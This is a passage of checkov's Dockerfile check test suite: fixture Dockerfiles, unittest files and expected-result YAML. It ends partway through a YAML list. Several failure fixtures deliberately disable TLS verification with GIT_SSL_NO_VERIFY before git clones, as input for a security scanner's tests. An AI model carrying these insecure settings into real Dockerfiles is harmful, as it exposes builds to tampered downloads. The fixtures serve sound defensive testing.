RUN apt update && \ apt-get install --yes --no-install-recommends \ git && \ apt-get clean autoclean && \ apt-get autoremove --yes && \ cd /var/lib && \ rm -rf apt dpkg cache log ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/success/Dockerfile ================================================ FROM busybox:1.0 RUN apt-get install curl HEALTHCHECK CMD curl --fail http://localhost:3000 || exit 1 ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/success2/Dockerfile ================================================ FROM ubuntu RUN apt-get update && \ apt-get install --yes --no-install-recommends \ git && \ apt-get clean autoclean && \ apt-get autoremove --yes && \ cd /var/lib && \ rm -rf apt dpkg cache log ================================================ FILE: tests/dockerfile/checks/example_RunUsingAPT/success3/Dockerfile ================================================ FROM cypress/included:13.6.1 RUN apt-get update -qq && apt-get install -y gnupg curl && \ echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" | tee -a /etc/apt/sources.list.d/google-cloud-sdk.list && \ curl -sf https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key --keyring /usr/share/keyrings/cloud.google.gpg add - && \ apt-get update && apt-get install -y google-cloud-sdk kubectl google-cloud-sdk-gke-gcloud-auth-plugin && apt-get clean ================================================ FILE: tests/dockerfile/checks/example_UpdateNotAlone/failure/Dockerfile ================================================ FROM base:1 RUN apt install first_update_line \ && apt update first_update_line RUN apt update second_update_line RUN apt update third_update_line USER bob HEALTHCHECK --interval=5m --timeout=3s \ CMD curl -f http://localhost/ || exit 1 ~ ================================================ FILE: tests/dockerfile/checks/example_UpdateNotAlone/failure/Dockerfile.simple ================================================ FROM base RUN apk update ================================================ FILE: tests/dockerfile/checks/example_UpdateNotAlone/success/Dockerfile ================================================ FROM base RUN apt-get update \ && apt-get install -y --no-install-recommends foo \ && echo gooo RUN apk update \ && apk add --no-cache suuu looo RUN apk --update add moo RUN apk update --no-cache && apk upgrade --no-cache RUN sed -i -e 's/# en_US.UTF-8 UTF-8/en_US.UTF-8 UTF-8/' /etc/locale.gen && \ dpkg-reconfigure --frontend noninteractive locales && \ update-locale LANG=en_US.UTF-8 ================================================ FILE: tests/dockerfile/checks/example_UserExists/failure/Dockerfile ================================================ FROM base LABEL foo="bar baz ================================================ FILE: tests/dockerfile/checks/example_UserExists/success/Dockerfile ================================================ FROM base LABEL foo="bar baz USER me ================================================ FILE: tests/dockerfile/checks/example_WorkdirIsAbsolute/failure/Dockerfile ================================================ FROM alpine:3.5 RUN apk add --update py2-pip RUN pip install --upgrade pip WORKDIR /path/to/workdir WORKDIR workdir WORKDIR "../workdir" COPY requirements.txt /usr/src/app/ RUN pip install --no-cache-dir -r /usr/src/app/requirements.txt WORKDIR workdir2 COPY app.py /usr/src/app/ COPY templates/index.html /usr/src/app/templates/ EXPOSE 5000 CMD ["python", "/usr/src/app/app.py"] ================================================ FILE: tests/dockerfile/checks/example_WorkdirIsAbsolute/failure/Dockerfile.simple ================================================ FROM alpine:3.14 WORKDIR workdir ================================================ FILE: tests/dockerfile/checks/example_WorkdirIsAbsolute/success/Dockerfile ================================================ FROM alpine:3.5 RUN apk add --update py2-pip RUN pip install --upgrade pip WORKDIR /path/to/workdir WORKDIR / WORKDIR c:\\windows WORKDIR "/path/to/workdir" WORKDIR "c:\\windows" ENV DIRPATH=/path ENV GLASSFISH_ARCHIVE glassfish5 WORKDIR $DIRPATH/$DIRNAME WORKDIR ${GLASSFISH_HOME}/bin COPY requirements.txt /usr/src/app/ RUN pip install --no-cache-dir -r /usr/src/app/requirements.txt COPY app.py /usr/src/app/ COPY templates/index.html /usr/src/app/templates/ EXPOSE 5000 CMD ["python", "/usr/src/app/app.py"] ================================================ FILE: tests/dockerfile/checks/test_AddExists.py ================================================ import os import unittest from checkov.dockerfile.checks.AddExists import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestAddExists(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AddExists" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() failing_resources = {"/failure/Dockerfile.ADD"} failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_AliasIsUnique.py ================================================ import os import unittest from checkov.dockerfile.checks.AliasIsUnique import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestAliasIsUnique(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_AliasIsUnique" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "/success/Dockerfile.", "/success_platform/Dockerfile.", } failing_resources = {"/failure/Dockerfile.FROM"} passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_ExposePort22.py ================================================ import unittest from pathlib import Path from checkov.dockerfile.checks.ExposePort22 import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestExposePort22(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_ExposePort22" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = { "/success/Dockerfile.", } failing_resources = { "/failure/Dockerfile.EXPOSE", "/failure_tcp/Dockerfile.EXPOSE", } passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = {c.resource for c in report.failed_checks} self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_HealthcheckExists.py ================================================ import os import unittest from checkov.dockerfile.checks.HealthcheckExists import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestHealthcheckExists(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_HealthcheckExists" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = {"/success/Dockerfile.HEALTHCHECK"} failing_resources = {"/failure/Dockerfile."} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_MaintainerExists.py ================================================ import os import unittest from checkov.dockerfile.checks.MaintainerExists import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestMaintainerExists(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_MaintainerExists" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() failing_resources = {"/failure/Dockerfile.MAINTAINER"} failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 0) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_ReferenceLatestTag.py ================================================ import os import unittest from checkov.dockerfile.checks.ReferenceLatestTag import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestReferenceLatestTag(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_ReferenceLatestTag" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "/success/Dockerfile.FROM", "/success_multi_stage/Dockerfile.FROM", "/success_multi_stage_capital/Dockerfile.FROM", "/success_scratch/Dockerfile.FROM", "/success_multi_stage_scratch/Dockerfile.FROM", "/success_multi_stage_platform/Dockerfile.FROM", } failing_resources = { "/failure_default_version_tag/Dockerfile.FROM", "/failure_latest_version_tag/Dockerfile.FROM", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_RootUser.py ================================================ import os import unittest from checkov.dockerfile.checks.RootUser import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestRootUser(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RootUser" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = {"/success/Dockerfile.USER"} failing_resources = {"/failure/Dockerfile.USER"} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_RunUsingAPT.py ================================================ import os import unittest from checkov.dockerfile.checks.RunUsingAPT import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestRunUsingAPT(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_RunUsingAPT" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { "/success/Dockerfile.", "/success2/Dockerfile.", "/success3/Dockerfile.", } failing_resources = { "/failure/Dockerfile.RUN", "/failure2/Dockerfile.RUN", "/failure3/Dockerfile.RUN", } passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_UpdateNotAlone.py ================================================ import os import unittest from checkov.dockerfile.checks.UpdateNotAlone import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestUpdateNotAlone(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_UpdateNotAlone" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = {"/success/Dockerfile."} failing_resources = {"/failure/Dockerfile.RUN", "/failure/Dockerfile.simple.RUN"} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 4) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_UserExists.py ================================================ import os import unittest from checkov.dockerfile.checks.UserExists import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestUserExists(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = current_dir + "/example_UserExists" report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = {"/success/Dockerfile.USER"} failing_resources = {"/failure/Dockerfile."} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary["passed"], 1) self.assertEqual(summary["failed"], 1) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/checks/test_WorkdirIsAbsolute.py ================================================ import unittest from pathlib import Path from checkov.dockerfile.checks.WorkdirIsAbsolute import check from checkov.dockerfile.runner import Runner from checkov.runner_filter import RunnerFilter class TestWorkdirIsAbsolute(unittest.TestCase): def test(self): # given test_files_dir = Path(__file__).parent / "example_WorkdirIsAbsolute" # when report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id])) # then summary = report.get_summary() passing_resources = {"/success/Dockerfile."} failing_resources = [ "/failure/Dockerfile.WORKDIR", # filenames appear once for each check violation in the file "/failure/Dockerfile.WORKDIR", "/failure/Dockerfile.WORKDIR", "/failure/Dockerfile.simple.WORKDIR", ] passed_check_resources = {c.resource for c in report.passed_checks} failed_check_resources = [c.resource for c in report.failed_checks] self.assertEqual(summary["passed"], len(passing_resources)) self.assertEqual(summary["failed"], len(failing_resources)) self.assertEqual(summary["skipped"], 0) self.assertEqual(summary["parsing_errors"], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertCountEqual(failing_resources, failed_check_resources) if __name__ == "__main__": unittest.main() ================================================ FILE: tests/dockerfile/graph_builder/__init__.py ================================================ ================================================ FILE: tests/dockerfile/graph_builder/checks/__init__.py ================================================ ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/expected.yaml ================================================ pass: - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.run.quotes.RUN' - 'fail/Dockerfile.wilderness.ENV' - 'fail/Dockerfile.wilderness.ENV' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.ARG' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.ENV' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.RUN' - 'fail/Dockerfile.wilderness.ENV' - 'fail/Dockerfile.wilderness.RUN' evaluated_keys: - 'value' ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.basic ================================================ FROM alpine:3.5 ENV GIT_SSL_NO_VERIFY 0 ENV GIT_SSL_NO_VERIFY=0 ENV GIT_SSL_NO_VERIFY="0" ENV GIT_SSL_NO_VERIFY='0' ARG GIT_SSL_NO_VERIFY=0 ARG GIT_SSL_NO_VERIFY="0" ARG GIT_SSL_NO_VERIFY='0' ARG GIT_SSL_NO_VERIFY 0 ENV LOL=123 GIT_SSL_NO_VERIFY=0 ENV GIT_SSL_NO_VERIFY=0 LOL=123 ENV GIT_SSL_NO_VERIFY 0 ARG GIT_SSL_NO_VERIFY 0 ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.basic ================================================ FROM alpine:3.15 RUN GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY="0" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY=0 TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY="0" TEST='lol' git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY='0' TEST=lol git clone https://github.com/bridgecrewio/checkov.git RUN LOL=123 GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git RUN LOL="123" GIT_SSL_NO_VERIFY="0" git clone https://github.com/bridgecrewio/checkov.git RUN LOL='123' GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123="456" GIT_SSL_NO_VERIFY=0 TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123='456' GIT_SSL_NO_VERIFY="0" TEST='lol' git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123=456 GIT_SSL_NO_VERIFY='0' TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123="456" \ GIT_SSL_NO_VERIFY=0 \ TEST="lol" \ git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123='456' \ GIT_SSL_NO_VERIFY="0" \ TEST='lol'\ git clone https://github.com/bridgecrewio/checkov.git RUN \ TEST_123=456\ GIT_SSL_NO_VERIFY='0' \ TEST="lol" \ git clone https://github.com/bridgecrewio/checkov.git ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.quotes ================================================ FROM alpine:3.15 RUN GIT_SSL_NO_VERIFY=0 TEST="lol\"" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY="0" TEST='lol\'' git clone https://github.com/bridgecrewio/checkov.git RUN LOL="123\"" GIT_SSL_NO_VERIFY="0" git clone https://github.com/bridgecrewio/checkov.git RUN LOL='123\'' GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.shell ================================================ FROM alpine:3.15 RUN ABC=123 echo test; GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git ;DEF=456 echo lol; RUN ABC=123 echo test;GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git;DEF=456 echo lol; RUN ABC=123 echo test ;GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git; DEF=456 echo lol; RUN ABC=123 echo test&& GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git &&DEF=456 echo lol; RUN ABC=123 echo test&&GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git&&DEF=456 echo lol; RUN ABC=123 echo test &&GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git&& DEF=456 echo lol; RUN ABC=123 echo test|| GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git ||DEF=456 echo lol; RUN ABC=123 echo test||GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git||DEF=456 echo lol; RUN ABC=123 echo test ||GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git|| DEF=456 echo lol; RUN ABC=123 echo test| GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git |DEF=456 echo lol; RUN ABC=123 echo test|GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git|DEF=456 echo lol; RUN ABC=123 echo test |GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git| DEF=456 echo lol; RUN ABC=123 echo test; GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git ; DEF=456 echo lol; RUN ABC=123 echo test ; GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git; DEF=456 echo lol; ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.run.whitespace ================================================ FROM alpine:3.15 RUN TEST_123="456" GIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123='456' GIT_SSL_NO_VERIFY="0" git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123=456 GIT_SSL_NO_VERIFY='0' git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123="456" GIT_SSL_NO_VERIFY=0 TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123='456' GIT_SSL_NO_VERIFY="0" TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN TEST_123=456 GIT_SSL_NO_VERIFY='0' TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY=0 TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY="0" TEST="lol" git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY='0' TEST="lol" git clone https://github.com/bridgecrewio/checkov.git ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/fail/Dockerfile.wilderness ================================================ FROM alpine:3.5 ENV GIT_SSL_NO_VERIFY=1 ENV GIT_SSL_NO_VERIFY true RUN export GIT_SSL_NO_VERIFY=1 ARG GIT_SSL_NO_VERIFY=true RUN GIT_SSL_NO_VERIFY=1 git clone https://github.com/bridgecrewio/checkov.git ENV GIT_SSL_NO_VERIFY ${GIT_SSL_NO_VERIFY} RUN export GIT_SSL_NO_VERIFY=1 && git clone --depth 1 https://github.com/bridgecrewio/checkov.git RUN cd $HOME && export GIT_SSL_NO_VERIFY=true \ && git clone https://github.com/bridgecrewio/checkov.git RUN GIT_SSL_NO_VERIFY=yes \ git clone https://github.com/bridgecrewio/checkov.git RUN apk add git && GIT_SSL_NO_VERIFY=true git clone https://github.com/bridgecrewio/checkov.git ENV GO111MODULE=on \ CGO_ENABLED=0 \ GOOS=linux \ GOARCH=amd64 \ GIT_SSL_NO_VERIFY=1 RUN export DEBIAN_FRONTEND='noninteractive' && \ export GIT_SSL_NO_VERIFY=1 && echo Hybrid_Theory ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvGitSslNoVerify/pass/Dockerfile ================================================ FROM alpine:3.5 ENV ASDFGIT_SSL_NO_VERIFY=1 ENV ASDFGIT_SSL_NO_VERIFY 1 ENV ASDFGIT_SSL_NO_VERIFY Meteora ARG GIT_SSL_NO_VERIFYASDF=1 ARG GIT_SSL_NO_VERIFYASDF 1 ARG GIT_SSL_NO_VERIFYASDF Meteora ENV LP=Meteora ASDFGIT_SSL_NO_VERIFY=0 ENV ASDFGIT_SSL_NO_VERIFY=0 LP=Meteora ENV LP=Meteora \ ASDFGIT_SSL_NO_VERIFY=0 ENV LP=Meteora GIT_SSL_NO_VERIFYASDF=1 RUN unset GIT_SSL_NO_VERIFY RUN git clone https://github.com/bridgecrewio/checkov.git awesome RUN ASDFGIT_SSL_NO_VERIFY=1 git clone https://github.com/bridgecrewio/checkov.git awesome RUN ASDFGIT_SSL_NO_VERIFY="1" git clone https://github.com/bridgecrewio/checkov.git awesome RUN ASDFGIT_SSL_NO_VERIFY='1' git clone https://github.com/bridgecrewio/checkov.git awesome RUN ASDFGIT_SSL_NO_VERIFY="0\"" git clone https://github.com/bridgecrewio/checkov.git awesome RUN ASDFGIT_SSL_NO_VERIFY='0\'' git clone https://github.com/bridgecrewio/checkov.git awesome RUN LP=Meteora \ ASDFGIT_SSL_NO_VERIFY=0 git clone https://github.com/bridgecrewio/checkov.git awesome RUN LP=Meteora GIT_SSL_NO_VERIFYASDF=1 git clone https://github.com/bridgecrewio/checkov.git awesome RUN GIT_SSL_NO_VERIFYASDF=0 git clone https://github.com/bridgecrewio/checkov.git awesome ================================================ FILE: tests/dockerfile/graph_builder/checks/resources/EnvNodeTlsRejectUnauthorized/expected.yaml ================================================ pass: - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ENV' - 'pass/Dockerfile.ARG' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' - 'pass/Dockerfile.RUN' fail: - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ENV' - 'fail/Dockerfile.basic.ARG' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.basic.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.whitespace.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 'fail/Dockerfile.run.shell.RUN' - 